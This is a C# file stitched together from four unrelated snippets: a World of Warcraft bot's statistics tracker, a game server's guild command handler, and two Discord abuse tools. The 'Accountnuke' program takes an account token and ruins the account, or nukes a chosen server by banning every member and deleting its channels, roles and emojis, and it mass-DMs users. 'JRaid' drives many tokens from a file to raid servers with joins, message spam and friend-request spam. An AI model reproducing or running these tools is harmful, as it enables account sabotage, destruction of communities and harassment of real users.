/// <summary> /// Initializes a new instance of the <see cref="Statistics" /> class. /// </summary> public Statistics() { _startTime = Environment.TickCount; WoWEventHandler.Instance.OnXpGain += (sender, args) => { XpGained += args.Xp; OnPropertyChanged(nameof(XpGained)); OnPropertyChanged(nameof(XpHour)); }; WoWEventHandler.Instance.LevelUp += (sender, args) => { LevelUps++; OnPropertyChanged(nameof(LevelUps)); }; WoWEventHandler.Instance.OnDeath += (sender, args) => { Deaths++; OnPropertyChanged(nameof(Deaths)); }; WoWEventHandler.Instance.OnDisconnect += (sender, args) => { Disconnects++; OnPropertyChanged(nameof(Disconnects)); }; WoWEventHandler.Instance.OnDuelRequest += (sender, args) => { var req = new DuelRequest(args.Player); _duelRequests.Add(req); OnPropertyChanged(nameof(DuelRequests)); OnPropertyChanged(nameof(DuelRequestsCount)); }; WoWEventHandler.Instance.OnGuildInvite += (sender, args) => { var invite = new GuildInvite(args.Player, args.Guild); _guildInvites.Add(invite); OnPropertyChanged(nameof(GuildInvites)); OnPropertyChanged(nameof(GuildInvitesCount)); }; WoWEventHandler.Instance.OnUnitKilled += (sender, args) => { UnitsKilled++; OnPropertyChanged(nameof(UnitsKilled)); }; WoWEventHandler.Instance.OnLoot += (sender, args) => { var loot = new Loot(args.ItemName, args.ItemId, args.Count); _lootList.Add(loot); OnPropertyChanged(nameof(LootList)); OnPropertyChanged(nameof(LootListCount)); }; WoWEventHandler.Instance.OnPartyInvite += (sender, args) => { var party = new PartyInvite(args.Player); _partyInvites.Add(party); OnPropertyChanged(nameof(PartyInvites)); OnPropertyChanged(nameof(PartyInvitesCount)); }; _runningTimer = new Timer(1000 * 5) { AutoReset = true }; _runningTimer.Elapsed += (sender, args) => { OnPropertyChanged(nameof(RunningSince)); var player = ObjectManager.Instance.Player; if (player == null) { return; } ToonName = player.Name; var money = player.Money; if (_startCopperCount == null) { _startCopperCount = money; } CopperGained = money - _startCopperCount.Value; }; _runningTimer.Start(); WoWEventHandler.Instance.OnTradeShow += (sender, args) => { TradeRequests++; OnPropertyChanged(nameof(TradeRequests)); }; }
public async Task <string> Guild(string[] arguments, Player player) { if (player.GuildGuiState == GuildGuiState.Suppress) { player.GuildGuiState = GuildGuiState.Creating; return("Executed guild command."); } if (arguments.Length == default) { await SendGuildInformationAsync(player); return("Executed guild command."); } var args = arguments.ToList(); var action = args[0]; args.RemoveAt(0); await using var ctx = new UchuContext(); var character = await ctx.Characters.FirstAsync(c => c.Id == player.Id); Guild guild; switch (action.ToLower()) { case "new": if (character.GuildId != 0) { player.CentralNoticeGui("You are already a member of a guild!"); break; } await player.GuildCreateGuiAsync(true); await player.SingleArgumentGuiAsync( "SetGuildCreateHeader", "text", "Create Guild" ); await player.SingleArgumentGuiAsync( "SetGuildCreateDescription", "text", "Guilds are an amazing tool for creating a community!" ); await player.SingleArgumentGuiAsync( "SetGuildCreateName", "text", "Select a name and click the button to create your guild." ); await player.MessageGuiAsync("EnableGuildCreateInput"); break; case "create": if (player.GuildInviteName != default) { return("Suppressed"); } if (character.GuildId != 0) { player.CentralNoticeGui("You are already a member of a guild!"); break; } var name = string.Join(" ", args); if (string.IsNullOrWhiteSpace(name)) { player.CentralNoticeGui("Your guild needs a name!"); break; } if (await ctx.Guilds.AnyAsync(g => g.Name == name)) { player.CentralNoticeGui("This guild name is taken!"); break; } player.CentralNoticeGui($"You created your guild \"{name}\"!"); var id = ObjectId.Standalone; guild = new Guild { Id = id, CreatorId = character.Id, Name = name }; character.GuildId = id; await ctx.Guilds.AddAsync(guild); await ctx.SaveChangesAsync(); await SendGuildInformationAsync(player); break; case "leave": if (character.GuildId != 0) { player.CentralNoticeGui("You are not a member of a guild!"); break; } guild = await ctx.Guilds.FirstAsync(g => g.Id == character.GuildId); if (guild.CreatorId == character.Id) { await DismantleGuildAsync(player); } character.GuildId = 0; await ctx.SaveChangesAsync(); player.CentralNoticeGui("You left your guild!"); break; case "invite": if (character.GuildId == 0) { player.CentralNoticeGui("You are not a member of a guild!"); break; } var playerName = string.Join(" ", args); var invited = await ctx.Characters.FirstOrDefaultAsync(c => c.Name == playerName); if (invited == null) { player.CentralNoticeGui($"No player named \"{playerName}\" found, please try again."); break; } if (invited.GuildId != 0) { player.CentralNoticeGui($"{playerName} is already in a guild!"); break; } guild = await ctx.Guilds.Include(g => g.Invites).FirstAsync( g => g.Id == character.GuildId ); if (guild.Invites.Any(i => i.RecipientId == invited.Id)) { player.CentralNoticeGui($"There is already a pending invite to {playerName}!"); break; } var invite = new GuildInvite { GuildId = guild.Id, RecipientId = invited.Id, SenderId = character.Id }; await ctx.GuildInvites.AddAsync(invite); await ctx.SaveChangesAsync(); var invitedPlayer = player.Zone.Players.FirstOrDefault(p => p.Id == invited.Id); if (invitedPlayer != default) { await DisplayGuildInviteAsync(invitedPlayer); } player.CentralNoticeGui($"Send a guild invite to {playerName}!"); break; case "invites": await DisplayGuildInviteAsync(player); break; case "accept": if (player.GuildInviteName == default) { return("Suppressed"); } player.GuildGuiState = GuildGuiState.Suppress; guild = await ctx.Guilds.Include(g => g.Invites).FirstOrDefaultAsync( g => g.Name == player.GuildInviteName ); if (guild == default) { player.CentralNoticeGui($"No guild named \"{player.GuildInviteName}\" found, please try again."); break; } var guildInvite = guild.Invites.FirstOrDefault(i => i.RecipientId == player.Id); if (guildInvite == default) { player.CentralNoticeGui($"You have no pending invite to {guild}!"); break; } guild.Invites.Remove(guildInvite); character.GuildId = guild.Id; player.GuildInviteName = default; await ctx.SaveChangesAsync(); player.CentralNoticeGui($"You accepted the invite to {guild.Name}!"); break; case "decline": if (player.GuildInviteName == default) { return("Suppressed"); } player.GuildGuiState = GuildGuiState.Suppress; guild = await ctx.Guilds.Include(g => g.Invites).FirstOrDefaultAsync( g => g.Name == player.GuildInviteName ); if (guild == default) { player.CentralNoticeGui($"No guild named \"{player.GuildInviteName}\" found, please try again."); break; } var declineInvite = guild.Invites.FirstOrDefault(i => i.RecipientId == player.Id); if (declineInvite == default) { player.CentralNoticeGui($"You have no pending invite to {guild}!"); break; } guild.Invites.Remove(declineInvite); await ctx.SaveChangesAsync(); player.GuildInviteName = default; player.CentralNoticeGui($"You declined the invite to {guild.Name}!"); break; } return("Executed guild command."); }
static void Main(string[] args) { string title = "Accountnuke | " + Environment.UserName; Console.Title = (title); Console.ForegroundColor = Color.DeepPink; Console.WriteLine(@" ███╗ ██╗██╗ ██╗██╗ ██╗███████╗ ████╗ ██║██║ ██║██║ ██╔╝██╔════╝ ██╔██╗ ██║██║ ██║█████╔╝ █████╗ ██║╚██╗██║██║ ██║██╔═██╗ ██╔══╝ ██║ ╚████║╚██████╔╝██║ ██╗███████╗ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ type help "); Console.ForegroundColor = Color.MediumPurple; Console.WriteLine(""); Console.Write("> token: "); string token = Console.ReadLine(); Console.WriteLine(""); Console.Write("> token set as [" + token + "]"); Console.WriteLine(""); Console.Title = (title + " | " + token); DiscordClient client = new DiscordClient(token); for (int i = 0; i == 0;) { Console.WriteLine(""); Console.Write("> "); string command = Console.ReadLine(); switch (command) { case "info": Console.ForegroundColor = Color.DeepPink; Console.WriteLine(""); Console.WriteLine("> user | " + client.User.ToString()); Console.WriteLine("> userid | " + client.User.Id); Console.WriteLine("> user created at | " + client.User.CreatedAt); Console.WriteLine("> email | " + client.User.Email); if (client.User.EmailVerified) { Console.WriteLine("> email verified | Yes"); } else { Console.WriteLine("> email Verified | No"); } if (client.User.TwoFactorAuth) { Console.WriteLine("> 2fa | Yes"); } else { Console.WriteLine("> 2fa | No"); } Console.WriteLine("> user type | " + client.User.Type); Console.WriteLine("> badge | " + client.User.PublicBadges.ToString()); Console.WriteLine("> lang | " + client.User.Language.ToString()); Console.WriteLine("> avatar url | " + client.User.Avatar.Url); int x = 0; int y = 0; foreach (var guild in client.GetGuilds()) { y++; } foreach (var relationship in client.GetRelationships()) { y++; } Console.WriteLine("> guilds | " + x); Console.WriteLine("> friends | " + y); Console.ForegroundColor = Color.MediumPurple; break; case "user": Console.WriteLine(""); client.User.ChangeSettings(new UserSettingsProperties() { Theme = DiscordTheme.Light }); Console.WriteLine("> set theme to light"); client.User.ChangeSettings(new UserSettingsProperties() { Language = DiscordLanguage.Russian }); Console.WriteLine("> set language to russian"); Console.WriteLine(""); foreach (var relationship in client.GetRelationships()) { try { if (relationship.Type == RelationshipType.Friends) { relationship.Remove(); } Console.WriteLine($"> removed friend " + relationship.User.ToString()); if (relationship.Type == RelationshipType.IncomingRequest) { relationship.Remove(); } Console.WriteLine("> removed incoming"); if (relationship.Type == RelationshipType.OutgoingRequest) { relationship.Remove(); } Console.WriteLine("> removed outcoming"); if (relationship.Type == RelationshipType.Blocked) { relationship.Remove(); } Console.WriteLine("> removed blocked"); } catch { } } Console.ForegroundColor = Color.DeepPink; Console.WriteLine("> friends removed"); Console.ForegroundColor = Color.MediumPurple; Console.WriteLine(""); foreach (var dm in client.GetPrivateChannels()) { try { dm.Delete(); Console.WriteLine($"dm {dm.Id} with {dm.Recipients.Count} user/s closed"); } catch { } } Console.ForegroundColor = Color.DeepPink; Console.WriteLine("> dms closed"); Console.ForegroundColor = Color.MediumPurple; Console.WriteLine(""); foreach (var guild in client.GetGuilds()) { try { if (guild.Owner) { guild.Delete(); } else { guild.Leave(); } Console.WriteLine($"> left {guild}"); Thread.Sleep(100); } catch { } } Console.ForegroundColor = Color.DeepPink; Console.WriteLine("> left guilds"); Console.ForegroundColor = Color.MediumPurple; Console.WriteLine(""); Console.Write("> status: "); string status = Console.ReadLine(); try { client.User.ChangeSettings(new UserSettingsProperties() { CustomStatus = new CustomStatus() { Text = status } }); Console.WriteLine("> set status to " + status); Console.WriteLine(""); } catch { } Console.WriteLine("> also f**k massguild lol"); break; case "server": DiscordSocketClient NukerClient = new DiscordSocketClient(); NukerClient.Login(token); Console.WriteLine(""); Console.Write("> serverid: "); ulong serverid = Convert.ToUInt64(Console.ReadLine()); DiscordGuild server = NukerClient.GetGuild(serverid); SocketGuild socketserver = NukerClient.GetCachedGuild(serverid); Console.WriteLine(""); foreach (var user in socketserver.GetMembers()) { if (user.User.Id != NukerClient.User.Id) { try { user.Ban(); Console.WriteLine("> banned " + user.User.ToString()); } catch { } } } Console.ForegroundColor = Color.DeepPink; Console.WriteLine("> members banned"); Console.ForegroundColor = Color.MediumPurple; Console.WriteLine(""); var templates = server.GetTemplates(); if (templates.Any()) { string code = templates.First().Code; server.DeleteTemplate(code); } Console.ForegroundColor = Color.DeepPink; Console.WriteLine("> template deleted"); Console.ForegroundColor = Color.MediumPurple; Console.WriteLine(""); foreach (var channel in server.GetChannels()) { try { channel.Delete(); Console.WriteLine("> deleted " + channel.Name); } catch { } } Console.ForegroundColor = Color.DeepPink; Console.WriteLine("> channels deleted"); Console.ForegroundColor = Color.MediumPurple; Console.WriteLine(""); foreach (var role in server.GetRoles()) { if (role.Id != serverid) { try { role.Delete(); Console.WriteLine("> deleted " + role.Name); } catch { } } } Console.ForegroundColor = Color.DeepPink; Console.WriteLine("> roles deleted"); Console.ForegroundColor = Color.MediumPurple; Console.WriteLine(""); foreach (var emoji in server.Emojis) { emoji.Delete(); Console.WriteLine("> deleted " + emoji.Name); } Console.ForegroundColor = Color.DeepPink; Console.WriteLine("> emojis removed"); Console.ForegroundColor = Color.MediumPurple; Console.WriteLine(""); Console.Write("> icon url: "); string iconurl = Console.ReadLine(); if (!File.Exists("icon.png")) { using (var webclient = new WebClient()) { webclient.DownloadFile(iconurl, "icon.png"); webclient.Dispose(); } } try { server.Modify(new GuildProperties() { Icon = Image.FromFile(@"icon.png") }); } catch { } Console.ForegroundColor = Color.DeepPink; Console.WriteLine("> icon changed"); Console.ForegroundColor = Color.MediumPurple; Console.WriteLine(""); Console.Write("> name: "); string name = Console.ReadLine(); try { server.Modify(new GuildProperties() { Name = name }); } catch { } Console.ForegroundColor = Color.DeepPink; Console.WriteLine("> name changed"); Console.ForegroundColor = Color.MediumPurple; break; case "dmall": Console.WriteLine(""); Console.Write("> enter message: "); string text = Console.ReadLine(); DiscordSocketClient dmall = new DiscordSocketClient(); dmall.Login(token); foreach (var guild in dmall.GetCachedGuilds()) { foreach (var member in guild.GetMembers()) { if (member.User.Id != dmall.User.Id) { dmall.CreateDM(member.User.Id); } } foreach (var channel in dmall.GetPrivateChannels()) { if (channel.Type == ChannelType.DM) { dmall.SendMessage(channel.Id, text, false); Console.WriteLine("sent to " + String.Join(" ", channel.Recipients)); } } } Console.ForegroundColor = Color.DeepPink; Console.WriteLine("> sent dm to everyone"); Console.ForegroundColor = Color.MediumPurple; break; case "blink": Console.ForegroundColor = Color.DeepPink; Console.WriteLine(""); for (int b = 0; b == 0;) { client.User.ChangeSettings(new UserSettingsProperties() { Theme = DiscordTheme.Light }); Console.WriteLine("> set theme to light"); client.User.ChangeSettings(new UserSettingsProperties() { Language = DiscordLanguage.Russian }); Console.WriteLine("> set language to russian"); client.User.ChangeSettings(new UserSettingsProperties() { Theme = DiscordTheme.Dark }); Console.WriteLine("> set theme to dark"); client.User.ChangeSettings(new UserSettingsProperties() { Language = DiscordLanguage.Chinese }); Console.WriteLine("> set language to chinese"); } Console.ForegroundColor = Color.MediumPurple; break; case "joinspam": Console.ForegroundColor = Color.DeepPink; Console.WriteLine(""); Console.Write("> amount: "); string amount = Console.ReadLine(); Console.Write("> invite: "); string inv = Console.ReadLine(); int z = Convert.ToInt32(amount); for (int k = 0; i < z; k++) { GuildInvite invite = client.JoinGuild(inv); invite.Guild.Leave(); } Console.ForegroundColor = Color.MediumPurple; break; case "help": Console.ForegroundColor = Color.DeepPink; Console.WriteLine(""); Console.WriteLine("> info | token info"); Console.WriteLine("> user | nuke usertoken"); Console.WriteLine("> server | nuke server "); Console.WriteLine("> dmall | dm everyone available"); Console.WriteLine("> blink | spams random language / theme options"); Console.WriteLine("> joinspam | self explanatory"); Console.WriteLine("> help | help screen"); Console.WriteLine("> credits | credits"); Console.WriteLine("> exit | closes the app"); Console.ForegroundColor = Color.MediumPurple; break; case "credits": Console.ForegroundColor = Color.DeepPink; Console.WriteLine(""); Console.WriteLine("> ilinked | anarchy wrapper"); Console.WriteLine("> stanley | account ruiner"); Console.WriteLine("> mb | server nuker"); Console.WriteLine("> hellsec | console idea"); Console.ForegroundColor = Color.MediumPurple; break; case "exit": Console.WriteLine(""); Environment.Exit(0); break; default: Console.ForegroundColor = Color.DeepPink; Console.WriteLine(""); Console.WriteLine("> command not found"); Console.ForegroundColor = Color.MediumPurple; break; } } }
static void Main(string[] args) { Console.Title = "JRaid | Version - ALPHA 0.2"; WMPLib.WindowsMediaPlayer wplayer = new WMPLib.WindowsMediaPlayer(); wplayer.URL = AppDomain.CurrentDomain.BaseDirectory + "\\lund.mp3"; wplayer.controls.play(); Console.OutputEncoding = Encoding.ASCII; Print("Type help for help"); while (true) { string[] userArgs = ReadLine().Split(' '); //join [invitecode] [delayinms] if (userArgs[0] == "join") { if (userArgs[1] != null && userArgs[2] != null) { } else { Print("Missing Params"); return; } var rt = Task.Run(async delegate { foreach (string line in File.ReadAllLines("Tokens.txt")) { try { DiscordClient client = new DiscordClient(line); GuildInvite invite = client.JoinGuild(userArgs[1]); await Task.Delay(Int32.Parse(userArgs[2])); } catch (Exception e) { Print("Error Captured if error persits open issue https://github.com/Juxstin/JRaid/issues"); WriteErrorLog("[JOIN] " + e.ToString()); await Task.Delay(50); } } }); } //joingroup [invitecode] [delayinms] if (userArgs[0] == "joingroup") { if (userArgs[1] != null && userArgs[2] != null) { } else { Print("Missing Params"); return; } var rt = Task.Run(async delegate { foreach (string line in File.ReadAllLines("Tokens.txt")) { try { DiscordClient client = new DiscordClient(line); GroupInvite invite = client.JoinGroup(userArgs[1]); await Task.Delay(Int32.Parse(userArgs[2])); } catch (Exception e) { Print("Error Captured if error persits open issue https://github.com/Juxstin/JRaid/issues"); WriteErrorLog("[JOINGROUP] " + e.ToString()); await Task.Delay(50); } } }); } //leave [guildid] [delayinms] if (userArgs[0] == "leave") { if (userArgs[1] != null && userArgs[2] != null) { } else { Print("Missing Params"); return; } var rt = Task.Run(async delegate { foreach (string line in File.ReadAllLines("Tokens.txt")) { try { DiscordClient client = new DiscordClient(line); client.LeaveGuild(ulong.Parse(userArgs[1])); await Task.Delay(Int32.Parse(userArgs[2])); } catch (Exception e) { Print("Error Captured if error persits open issue https://github.com/Juxstin/JRaid/issues"); WriteErrorLog("[LEAVE] " + e.ToString()); await Task.Delay(50); } } }); } //leavegroup [groupid] [delayinms] if (userArgs[0] == "leavegroup") { if (userArgs[1] != null && userArgs[2] != null) { } else { Print("Missing Params"); return; } var rt = Task.Run(async delegate { foreach (string line in File.ReadAllLines("Tokens.txt")) { try { DiscordClient client = new DiscordClient(line); client.LeaveGroup(ulong.Parse(userArgs[1])); await Task.Delay(Int32.Parse(userArgs[2])); } catch (Exception e) { Print("Error Captured if error persits open issue https://github.com/Juxstin/JRaid/issues"); WriteErrorLog("[LEAVEGROUP] " + e.ToString()); await Task.Delay(50); } } }); } //say [channelid] [delayinms] [y/n trigger typing] [message no spaces] if (userArgs[0] == "say") { if (userArgs[1] != null && userArgs[2] != null && userArgs[3] != null && userArgs[4] != null) { } else { Print("Missing Params"); return; } var rt = Task.Run(async delegate { foreach (string line in File.ReadAllLines("Tokens.txt")) { try { DiscordClient client = new DiscordClient(line); TextChannel channel = client.GetChannel(ulong.Parse(userArgs[1])).ToTextChannel(); if (userArgs[3] == "y") { channel.TriggerTyping(); channel.SendMessage(userArgs[4]); await Task.Delay(Int32.Parse(userArgs[2])); } else { channel.SendMessage(userArgs[4]); await Task.Delay(Int32.Parse(userArgs[2])); } } catch (Exception e) { Print("Error Captured if error persits open issue https://github.com/Juxstin/JRaid/issues"); WriteErrorLog("[SAY] " + e.ToString()); await Task.Delay(50); } } }); } //saydm [userid] [delayinms] [y/n trigger typing] [message no spaces] if (userArgs[0] == "saydm") { if (userArgs[1] != null && userArgs[2] != null && userArgs[3] != null && userArgs[4] != null) { } else { Print("Missing Params"); return; } var rt = Task.Run(async delegate { foreach (string line in File.ReadAllLines("Tokens.txt")) { try { DiscordClient client = new DiscordClient(line); DMChannel channel = client.CreateDM(ulong.Parse(userArgs[1])); if (userArgs[3] == "y") { channel.TriggerTyping(); channel.SendMessage(userArgs[4]); await Task.Delay(Int32.Parse(userArgs[2])); } else { channel.SendMessage(userArgs[4]); await Task.Delay(Int32.Parse(userArgs[2])); } } catch (Exception e) { Print("Error Captured if error persits open issue https://github.com/Juxstin/JRaid/issues"); WriteErrorLog("[SAYDM] " + e.ToString()); await Task.Delay(50); } } }); } //saygroup [groupid] [delayinms] [y/n trigger typing] [message no spaces] if (userArgs[0] == "saygroup") { if (userArgs[1] != null && userArgs[2] != null && userArgs[3] != null && userArgs[4] != null) { } else { Print("Missing Params"); return; } var rt = Task.Run(async delegate { foreach (string line in File.ReadAllLines("Tokens.txt")) { try { DiscordClient client = new DiscordClient(line); DMChannel channel = client.GetGroup(ulong.Parse(userArgs[1])); if (userArgs[3] == "y") { channel.TriggerTyping(); channel.SendMessage(userArgs[4]); await Task.Delay(Int32.Parse(userArgs[2])); } else { channel.SendMessage(userArgs[4]); await Task.Delay(Int32.Parse(userArgs[2])); } } catch (Exception e) { Print("Error Captured if error persits open issue https://github.com/Juxstin/JRaid/issues"); WriteErrorLog("[SAYGROUP] " + e.ToString()); await Task.Delay(50); } } }); } //friend [username] [tag without #] [delayinms] if (userArgs[0] == "friend") { //if (userArgs[1] != null && userArgs[2] != null) { } else { Print("Missing Params"); return; } var rt = Task.Run(async delegate { foreach (string line in File.ReadAllLines("Tokens.txt")) { try { DiscordClient client = new DiscordClient(line); client.SendFriendRequest(userArgs[1], uint.Parse(userArgs[2])); await Task.Delay(Int32.Parse(userArgs[3])); } catch(Exception e) { Print("Error Captured if error persits open issue https://github.com/Juxstin/JRaid/issues"); WriteErrorLog("[FRIEND] " + e.ToString()); await Task.Delay(50); } } }); } //createinvite [channelid] [delayinms] if (userArgs[0] == "createinvite") { if (userArgs[1] != null && userArgs[2] != null) { } else { Print("Missing Params"); return; } var rt = Task.Run(async delegate { foreach (string line in File.ReadAllLines("Tokens.txt")) { try { DiscordClient client = new DiscordClient(line); client.CreateInvite(ulong.Parse(userArgs[1])); await Task.Delay(Int32.Parse(userArgs[2])); } catch (Exception e) { Print("Error Captured if error persits open issue https://github.com/Juxstin/JRaid/issues"); WriteErrorLog("[CREATEINVITE] " + e.ToString()); await Task.Delay(50); } } }); } if (userArgs[0] == "stopmusic") { wplayer.controls.stop(); } if (userArgs[0] == "playmusic") { wplayer.controls.play(); } if (userArgs[0] == "clr") { Clear(); } if (userArgs[0] == "help") { Print(" "); Print("join [invitecode] [delayinms]"); Print("joingroup [invitecode] [delayinms]"); Print("leave [guildid] [delayinms]"); Print("leavegroup [groupid] [delayinms]"); Print("[username] [tag without #] [delayinms]"); Print("createinvite [channelid] [delayinms]"); Print("say [channelid] [delayinms] [y/n trigger typing] [message no spaces]"); Print("saydm [userid] [delayinms] [y/n trigger typing] [message no spaces]"); Print("saygroup [groupid] [delayinms] [y/n trigger typing] [message no spaces]"); Print("clr -- Clears Console"); Print("stopmusic -- Stops music"); Print("playmusic -- Replays/Unpauses music"); Print(" "); } } }